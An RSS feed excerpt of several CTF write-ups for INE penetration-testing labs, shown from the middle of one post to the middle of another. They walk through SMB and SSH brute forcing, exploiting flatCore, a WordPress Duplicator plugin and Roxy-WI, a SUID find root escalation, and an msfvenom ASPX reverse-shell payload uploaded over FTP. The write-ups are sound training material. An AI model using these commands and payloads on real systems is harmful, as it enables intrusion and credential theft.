tab and we will see that the shell is now ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*HGmWCB_6viEElpcVe2FzzQ.png" /></figure><p>Now we can find the flag by typing cat /flag3.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*HEYRZB4_bUwUIuGEtQs_BQ.png" /></figure><pre>FLAG3{e1c1a084758344e9b2ed88b072f1e7fa}</pre><h4><strong>Q4. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?</strong></h4><p>The final flag might be in the /root directory, but we need to elevate privileges first.</p><p>First, we run the command find / -perm -4000 -type f 2&gt;/dev/null to enumerate <strong>SUID binaries</strong> on the system. This command searches the entire filesystem for files with the SUID bit set, which can potentially be abused for <strong>privilege escalation.</strong></p><p>📍<strong>Note</strong>. Here, find / searches from the root directory, -perm -4000 identifies files with SUID permissions, -type f limits the results to files only, and 2&gt;/dev/null suppresses permission-related error messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*5SfPUg_1SZvZLfipxN1XMg.png" /></figure><p>Although multiple SUID binaries were identified, /usr/bin/find was selected for privilege escalation because it allows command execution via the -exec option, making it exploitable when configured with SUID permissions.</p><p>We then execute the following command: /usr/bin/find . -exec /bin/sh -p \; -quit .</p><p>📍<strong>Note</strong>. This command spawns a shell using the SUID-enabled find binary. The -exec option allows us to execute /bin/sh, while the -p flag preserves the effective privileges of the file owner (root). As a result, we obtain a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*00o24QSbF7koZFDiNPLFVA.png" /></figure><p>Finally, we run the whoami command to verify our privileges, and the cat /root/flag4.txt to view the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*_8BfupxZZ_nwHenSECuc5g.png" /></figure><pre>FLAG4{606c187d763748a5bab785cd875fdbbc}</pre><p>Hopefully, this write-up will be helpful to you, and thank you for reading it.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dce7ccd3c278" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: Exploitation CTF 2 by Sinkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-exploitation-ctf-2-by-sinkhon-870dd6c95b5a?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/870dd6c95b5a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Sat, 21 Feb 2026 21:29:58 GMT</pubDate>
            <atom:updated>2026-02-23T18:45:28.109Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3cN5P7L-wQ-S5bXtAZ25A.png" /></figure><p><strong>Q1. Looks like smb user tom has not changed his password from a very long time.</strong></p><p>Base on the clues, we can focus on <strong>SMB services</strong> with tom credential. First and foremost, let’s perform an <strong>Nmap scan</strong> by typing nmap -sV -O target.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*_F82G2yLxxdPFFJJV013Qw.png" /></figure><p>There is an SMB service running on port 445. At this point, we can begin the attack. We can launch a brute force attack using Hydra or the Metasploit Framework. In this case, I will use the Metasploit Framework.</p><p>Start the <strong>Metasploit Framework</strong> by typing msfconsole . Then find the <strong>SMB login module</strong> by typing search smb_login and use 0 to use the module. Use the show options to view the required options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jD_KUZiQQRO0F0-3LMIiNg.png" /></figure><p>We need to set some options using the following commands. <br>set RHOSTS target.ine.local <br>set SMBUser tom <br>set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt <br>Then we can run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*XM4bWhyV1zhRibdZ_BAn9w.png" /></figure><p>Now that we have Tom’s password, which is <strong>felipe</strong>, we can access the <strong>SMB service</strong> using <strong>Tom’s credentials</strong>.</p><p>First, we need to set the <strong>PASS_FILE</strong> option to null and set Tom’s password by typing unset PASS_FILE , set SMBPass felipe , and set CreateSession true .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*m4WiveKG8SmmsrXefrqKlg.png" /></figure><p>Now that we have an <strong>SMB session</strong>, we can see which session we have by typing sessionsand activate a session by typing `<strong>sessions</strong>` followed by the session ID ( sessions 1 ).</p><p>We can list share names by typing shares and select a specific share by typing shares -i followed by share number. In this case we will use <strong>HRDocuments</strong> then type shares -i 3 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*igdVHn6LYxctYwnPV27xTg.png" /></figure><p>Type ls command to list content in the <strong>HRDocuments</strong> and cat command to display the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cP0SDpqjxUKXE0pNvDOvAg.png" /></figure><pre>flag1_b733d332fb214ba68cf6fd4c1ca316d7</pre><h4>Q2. Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?</h4><p>From previous challenge, there is a file called <strong>leaked-hashes.txt </strong>which might be the file we are looking for. Type cat leaked-hashes.txt to view that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmUNDC-dW09Gp5r9S9aijQ.png" /></figure><p>This file appears to be encrypted using <strong>NTLM</strong>. We can use this file in a <strong>brute-force attack</strong> with <strong>nancy</strong> account. Type download leaked-hashes.txt to download the file, then type exit to close the session.</p><p>Now we have a user <strong>nancy</strong> and <strong>NTLM hashes</strong>. Next, we will log in with nancy user using the same module. Type set SMBUser nancy , unset SMBPass , set PASS_FILE leaked-hashes.txt , and run .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DsBcZrs-6UQSnXECRjOS3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxqCDht4uErykaQaqFihUg.png" /></figure><p>Now we can log in with user <strong>nancy</strong> and successfully create an <strong>SMB</strong> <strong>session</strong>. Type sesisons -i 2 to open the sessions, shares to see the list of shared names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*Cb2i2q8IUGdx9WKAdjyN4A.png" /></figure><p>Let’s try accessing<strong> ITResources</strong>. Type shares -i 5 , and then use the ls command to list the files. A file named flag2.txt will be presented. We can then use the cat command to display it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CGyDbIlQiNPTiSt8Ob7k5A.png" /></figure><pre>flag2_f6571241a75a4e03b1516509b38e92e5</pre><h4>Q3. I wonder what the hint found in the previous challenge be useful for!</h4><p>We see a file named hint.txt. Let’s use the cat command to open and view the contents of that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*KCMD9BxFxpUimxojq09q_w.png" /></figure><p>Initially, we see several services running. One of them is an <strong>FTP</strong> service; let’s use the credential we just received with this service.</p><p>In Terminal, type ftp david@target.ine.local then type omnitrix_9901 for password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*HZzHWsve4oAsgShsyL6iug.png" /></figure><p>Type ls to list files and type get flag3.txt to download the file. Then exit .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4sLDp2qiqUdDZtjYS9MZfg.png" /></figure><p>Now we can see the flag content by typing cat flag3.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*cLps_w_cTWltslhh1tXaUw.png" /></figure><pre>flag3_6b51ab1079594032b764b77ff400bc8f</pre><h4>Q4. Can you compromise the target machine and retrieve the C://flag4.txt file?</h4><p>The <strong>aspnet_client</strong> directory was found to be accessible through <strong>FTP</strong>, allowing file uploads. This presents an opportunity to upload a payload and execute it via the web server to gain a <strong>reverse shell</strong>.</p><p>First we can create a payload using <strong>Msfvenom</strong>. Type msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.40.3 LPORT=1234 -f aspx &gt; shell.aspx .</p><p><strong>💡Note</strong>. Type ip a to find your <strong>IPv4 address</strong> by searching for the eth1 interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WcSJT8nrf5JgpRKzvgvffw.png" /></figure><p>The next step is to setup the Listener using the <strong>Metasploit Framework</strong>. Type search multi/handler and then type use 7 to use the exploit/multi/handler module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cO20oHVHLAnEWFkSpaLlQ.png" /></figure><p>Next, we need to set <strong>PAYLOAD</strong> to windows/x64/meterpreter/reverse_tcp/, <strong>LHOST</strong> to our IP address, and <strong>LPORT</strong> to 1234, and then run the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*OgloQilsdJwru3lYCJHiOg.png" /></figure><p><strong>Keep the tab open because the module listens for the payload. After executing the payload, a shell will be obtained.</strong></p><p>The next step is to upload the payload we created to the target using <strong>FTP</strong> and run it through a <strong>browser</strong>.</p><p>Open a new terminal tab and log in to <strong>FTP</strong> with <strong>David</strong>’s credentials. Type ftp david@target.ine.local and then type omnitrix_9901 for the password. Finally, type put shell.aspx to upload the <strong>shell.aspx</strong> file to the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnjBIvif7hjyXgQT9lfMzg.png" /></figure><p>The next is to execute the <strong>payload file</strong>. Open the Firefox browser and type target.ine.local/shell.aspx .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*SXVdJUOx4kdbRsJ-_qmTJw.png" /></figure><p>Then go back to the <strong>Metasploit Framework tab</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*YYI_oihs8SZh099y2Q4FWA.png" /></figure><p>Now we have a <strong>meterpreter shell</strong>.!!</p><p>Let’s find the last flag. Type cat c:\\flag4.txt to reveal the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*yR3szD6v5AtI-1aVI1hBXA.png" /></figure><pre>flag4_be341a9c170d44219b5df155b60eb702</pre><p>This CTF highlighted the process of service enumeration, misconfiguration analysis, and credential usage on a Windows-based target.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=870dd6c95b5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: Exploitation CTF 1 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-exploitation-ctf-1-by-singkhon-8f2071e7dcfd?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f2071e7dcfd</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 22:49:36 GMT</pubDate>
            <atom:updated>2026-02-23T18:45:04.610Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</em></blockquote><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzaXmlEYkD_QWjDqwFWraQ.png" /></figure><h4>Q1. Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.</h4><p>Our target is a web application, and we know the credentials, which are <strong>admin:password1</strong>. First and foremost, let’s start by running an <strong>Nmap</strong> scan. Type nmap -sV -sC -O target1.ine.local .</p><p><strong>💡Note</strong>. The option -sC used to run Nmap default scripts against target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*wTBqQCx1blWAVhcKv7dHRw.png" /></figure><p>From the results, we know that the target is running a web application on port 80 using Apache HTTP Server version 2.4.41. A robots.txt file is present, and the web application appears to be using <strong>flatCore</strong>.</p><p>Let’s have a look at the actual web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5WmEmpSCgv8WJohClQZTg.png" /></figure><p>This website indeed uses <strong>flatCore CMS</strong> and has a login form on the right side. We will login using credentials we already know. (admin/password1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZEGZb0YKBz5hyiZcakokRQ.png" /></figure><p>After logging in, click the grey button. The website will display flatCore CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8glfDTZhOag9SrPgJO5rg.png" /></figure><p>If we scroll all the way down, we will see the flatCore CMS is using <strong>version 2.0.7</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFazuqmWQ2vlianH5cmSww.png" /></figure><p><strong>💡Note</strong>. <strong>FlatCore CMS</strong> is a lightweight flat-file content management system written in PHP that does not rely on a database.</p><p>Let’s try using the <strong>Searchsploit</strong> tool by typing searchsploit flatcore .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TuWJ8vstnta7dFvuHYSHGA.png" /></figure><p>The results show two exploit titles. We’ll choose the first one because we know <strong>flateCore</strong> version is 2.0.7.</p><p><strong>💡Note</strong>. In this case, there are only two results, so we can try both. Conversely, if there are many results, it might be more beneficial to search for a specific version of the service first.</p><p>Type searchsploit -m 50262 to download the script.</p><p><strong>💡Note</strong>. The option -m used to mirror an exploit to the current working directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lh-j9UJCFs1SOms_8UBKcg.png" /></figure><p>Now that we have the Python file, we need to know what arguments we need to specify. Type nano 50262.py to read the actual file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*uoeCL2l1ZduUVqDtA5hHog.png" /></figure><p>From the file, we know that this script uses <strong>Python 3</strong> and requires <strong>three arguments</strong>, as shown in the image (target, username, password). Let’s exit and execute the file by pressing ctr + X then typing python3 50262.py http://target1.ine.local admin password1 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*VP8y5fW6lMygGH5vLtkixA.png" /></figure><p>The final step is to display the flag file contents in the root directory. Type cat /flag1.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*lSc4UteJza5h0aw_A1WX1A.png" /></figure><pre>FLAG1{0118d2e99b254a708d446b1d1be3b036}</pre><h4>Q2. Further, identify and compromise an insecure system user on target1.ine.local.</h4><p>After gaining initial access to the target system, we enumerate local user accounts to identify an insecure system user. Further enumeration is performed to compromise the identified user account. Type ls /home .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*2gX7-Aoaxrb19w85_XC9mw.png" /></figure><p>There is a user named <strong>iamaweakuser</strong>. This user might have a week password. Since we know the target has an <strong>SSH</strong> service running. We will perform <strong>bruteforce</strong> attack to that service by using a <strong>Hydra</strong> tool.</p><p>Exit and type hydra -l iamaweakuser -P usr/share/metasploit-framework/data/wordlists/uni_passwords.txt ssh://target1.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vp1xryUwnQTw__sOY2bgWg.png" /></figure><p>We have successfully obtained that user’s password. We can now log in to the <strong>SSH</strong> service and find the second flag.</p><p>Type ssh iamaweakuser@target1.ine.local answer yes for connecting and then type angel for password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*e41wiLJNlGawrdHfTuUxhg.png" /></figure><p>Now that we are in, type ls . We will see the flag2 file right away. Use cat command to display the content of the flag file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*0cMuc3rwDES3OKZH9TsigA.png" /></figure><pre>FLAG2{6da3a7f8812e43a099c80edfe3d973ac}</pre><h4>Q3. Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.</h4><p>Our goal is to identify the <strong>plugins</strong> that the web application is using. First, let’s perform a scan with <strong>Nmap</strong>. Type nmap -sV -sC -O target2.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*6VpB9seEtHmQtipzEjikmQ.png" /></figure><p>On target2, <strong>WordPress version 6.1</strong> is running. Let’s use a tool called <strong>Dirb</strong> to find plugins. Type dirb <a href="http://target2.ine.local/wp-content">http://target2.ine.local/wp-content</a>/ /usr/share/nmap/nselib/data/wp-plugins.lst .</p><p>💡<strong>Note</strong>. That command run directory brute force to target2 by using <strong>wp-plugins.lst</strong> as a wordlist. We can use other tools like GoBuster, and Nmap script, but we need to know that most WordPress plugins are located in /wp-content/plugins/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mo_ebzWC07vtnQVxdg0ULA.png" /></figure><p>Then we know that there are two plugins running: <strong>Akismet</strong> and <strong>Duplicator</strong>.</p><p>I tried using <strong>Akismet</strong> as the target, but it didn’t work. We might try using the <strong>Duplicator</strong> plugin as the target instead.</p><p>Type msfconsole to start <strong>Metasploit framework</strong> and then search by typing search duplicator .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fePEwaGlDgZKcR2xa-v3Pw.png" /></figure><p>We will use the second module by typing use 1 , then typing show options to see which options are require.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*TA-JV_kP1N3zSH9ZnBzeGA.png" /></figure><p>Next, set RHOSTS to our target2 by typing set RHOSTS target2.ine.local , then type run to execute the module by reading <strong>/etc/passwd</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*MeyR5kkxrvg_2nxMcrBhjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*40OT5bBZRMVsrxiLk4ZsfA.png" /></figure><p>As we can see, we were able to successfully read the <strong>/etc/passwd</strong> file from the target and see the list of users in that file.</p><p>Let’s try to read flag3 file from the root directory by setting FILEPATH option to /flag3.txt. Type set FILEPATH /flag3.txt and run .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mIYTfYlWeOJPp_N7rElFg.png" /></figure><pre>FLAG3{c26e00e90bcd40b8b6b227defc9eb8c2}</pre><p><strong>Q4. Further, identify and compromise a system user requiring no authentication on target2.ine.local.</strong></p><p>We know that target2 is using the <strong>SSH</strong> service, and from previous work, we’ve identified an interesting user: <strong>iamacrazyfreeuser</strong>. Why not try logging in to that user via SSH? That might be the solution.</p><p>Type ssh iamacrazyfreeuser@target2.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*i5_DzDOHxwyd9ViYz0pPkA.png" /></figure><p>We are in. Now let’s find the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*M0oXokZShCkedac1ko6a5w.png" /></figure><pre>FLAG4{3364f31e6a6b4cffbc451883fd7471cf}</pre><p>Through this CTF, we learned that effective enumeration is crucial for discovering exploitable vulnerabilities. While tools such as SearchSploit can assist in identifying known exploits, they do not always provide direct answers, requiring continued research and manual analysis.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f2071e7dcfd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: The Metasploit Framework CTF 2 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-the-metasploit-framework-ctf-2-by-singkhon-9dcb91b6904e?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dcb91b6904e</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 02:35:38 GMT</pubDate>
            <atom:updated>2026-02-23T18:44:28.987Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnHWTGEoQLn5wRMODNWXVw.png" /></figure><p><strong>Q1. Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting.</strong></p><p>Our goal is to examine the <strong>RSYNC</strong> tool banner. First and foremost, let’s scan target1 using the Nmap tool. Type nmap -sV -sC -O target.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*0Sciy3goLy9tM6JIfXah4g.png" /></figure><p>Now that we know the service is in version 31, let’s check the rsync list share name via an anonymous account. Type rsync rsync://target1.ine.local .</p><p><strong>Note</strong>. type rsync -h to see manual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*inoupp4ub2UyW8KEfkHiXA.png" /></figure><p>The result shows the first flag.</p><pre>FLAG1_294ce439b03247a49dc4687e1687fbd3</pre><p><strong>Q2. The files on the RSYNC server hold valuable information. Explore the contents to find the flag.</strong></p><p>From the results of previous work, we know that the <strong>backupwscohen</strong> module contains a file named flag1, which is visible to <strong>anonymous</strong> users. However, we don’t know what other files are inside. Let’s investigate. Type rsync rsync://target1.ine.local/backupwscohen .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*4Ck_yrsiWPxulc_7NLckiQ.png" /></figure><p>There are files inside. We can download this module and view all the files by typing rsync -av rsync://target1.ine.local/backupwscohen .</p><p><strong>Note</strong>. -av option used to copy, and last . mean copy to current host directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*x-rQHX-L3FrRATVjuwe2ng.png" /></figure><p>The second flag is in the file <strong>pii_data.xlsx</strong>.</p><pre>FLAG2_2d7ab8f4a4f84baf9e3255d1c8030f67</pre><h4>Q3. Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local.</h4><p>Now we need to gain a shell through the web application. Let’s first perform an <strong>Nmap</strong> scan by running the following command <br>nmap -sV -sC -O target1.ine.local .</p><p><strong>Note:</strong> The -sC option runs Nmap’s default scripts against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-hCbhu2qi70rmA6w9O6kw.png" /></figure><p>As we can see, the web application is running on Apache httpd version 2.4.52, and the page title indicates that it is using <strong>Roxy-WI</strong>, which may have known vulnerabilities. We can check out the target website first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aHpwCzH9ewjhIE8DM_te4A.png" /></figure><p>It is indeed using <strong>Roxy-WI</strong>, but there’s nothing useful here. Let’s open <strong>Metasploit</strong> using the command msfconsole -q . Then type search roxy_wi.</p><p><strong>Note</strong>: Use the -q option to enable quiet mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4SVNqUGG-HDxzVy_4mYsw.png" /></figure><p>Next, use the module by typing use 0and show optionsto see which options are required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZveeIDDSXIo-e1R9lSz2Q.png" /></figure><p>Try setting <strong>RHOSTS</strong> specifically for target2 by typing the command set RHOSTS target2.ine.localand see what the result is by hitting run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*T0CgkY5uVlAbF9xVxqiNIQ.png" /></figure><p>From the results, the target is vulnerable, but no session was created because we haven’t configured <strong>LHOST</strong>. So let’s set LHOST and try running again. Type ip ato check our IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*NyHYSU9fdH1PC819bD_iig.png" /></figure><p>Our IP address is 192.108.52.2, <strong>which may vary from lab to lab. Please check the IPv4 address of the eth1 interface</strong>, then type set LHOST 192.108.52.2 and then run .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*NPUr9iAohGqgDkQM1RAalg.png" /></figure><p>Now that we’ve created a <strong>meterpreter session</strong>, let’s find the flag by navigating to the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*bDIcPuG50KK8vNDwzZ1u8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*Oxl6YYvIbYnW3uFchYPq6g.png" /></figure><pre>FLAG3_a3a7b9ae257441cca8b7ac89a3557676</pre><h4>Q4. Automated tasks can sometimes leave clues. Investigate scheduled jobs or running processes to uncover the hidden flag.</h4><p>Now we need to locate the next flag by investigating scheduled jobs or running processes. This typically involves checking <strong>cron jobs</strong> and <strong>cron-related directories (/etc/crontab, /etc/cron.*)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*UTChZxnxDoK4oJnXbpbe5Q.png" /></figure><p>That’s all. The last flag is in the file /etc/cron.d/www-data-cron.</p><pre>FLAG4_bd3c0c0cefd84b6eb17937c598e66886</pre><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dcb91b6904e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: The Metasploit Framework CTF 1 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-the-metasploit-framework-ctf-1-by-singkhon-8a95176552a5?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a95176552a5</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 02:56:39 GMT</pubDate>
            <atom:updated>2026-02-23T18:43:35.658Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D7ygkKUjjPu1WjY0azhgWw.png" /></figure><h4>Q1. Gain access to the MSSQLSERVER account on the target machine to retrieve the first flag.</h4><p>Our goal is to access MSSQLSERVER (Microsoft SQL Server). First and foremost, we will perform a scan using <strong>Nmap</strong> by typing ‘<strong>nmap -sV -O target.ine.local</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*w5yfgj3xmkpzWEbKEZS97g.png" /></figure><p>MSSQLSERVER runs on port <strong>1433</strong> and is version <strong>2012</strong>. Next, let’s see if we can find any vulnerabilities related to this service. Start the Metasploit Framework by typing ‘<strong>msfconsole</strong>’, then type ‘<strong>search mssql 2012</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZzEuTMZm7QSzno5z6opwMA.png" /></figure><p>We’ve now seen a few modules. Let’s try the first one. Type ‘<strong>use 0</strong>’ and type ‘<strong>show options</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cxQ-zz0qWoVVX1f-eKIqjw.png" /></figure><p>Next, we’ll set <strong>RHOSTS to target.ine.local</strong> and then <strong>run</strong> the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qHLgyMXGwG_6XaGf4iQY4Q.png" /></figure><p>Due to the error, we need to change the payload from <strong>x86</strong> to <strong>x64</strong> by typing ‘<strong>set PAYLOAD windows/x64/meterpreter/reverse_tcp</strong>’ and then try running it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzVinK-fMK-WobTqPtQ8SA.png" /></figure><p>Now we have the <strong>meterpreter</strong>. Let’s see what’s inside.</p><p>… I went to drive C: and found the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*61l0-51s4V2qFelxIp0UkQ.png" /></figure><pre>flag1_a7339f3fa415412f86997ae5ab019b07</pre><h4>Q2. Locate the second flag within the Windows configuration folder.</h4><p>In most cases, when we talk about the Windows settings folder, it should be located in <strong>C:\Windows\System32\config\</strong>. So let’s see where it is.</p><p>Navigate to C:\Windows\System32\config\.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*X3MUAUDH2x0tXApDy9o14Q.png" /></figure><p>We received the message “Access denied,” so we should check the privilege first. Type ‘<strong>getuid</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*gasIzOmq2m631k2AtWGkSw.png" /></figure><p>As we see, we have only MSSQLSERVER privilege. Let’s <strong>escalate privilege</strong> by typing ‘<strong>getsystem</strong>’ and check the privilege again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*mjrn2_eGX35RM3Ukppn65w.png" /></figure><p>Now we have the system. Go to the config folder again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*8a9Nwegw-opfX3254KavAg.png" /></figure><p>We can access the config folder and see flag2.txt inside.</p><pre>flag2_8f105e1b45a443d985e8a811969c1ebb</pre><h4>Q3. The third flag is also hidden within the system directory. Find it to uncover a hint for accessing the final flag</h4><p>The third flag is also in the system directory. Let’s find out. From the question we need to search for the flag file by typing ‘<strong>search -f *flag*</strong>’.</p><p>Note: The<strong> -f </strong>option is used to search only for file types.</p><figure><img alt="" 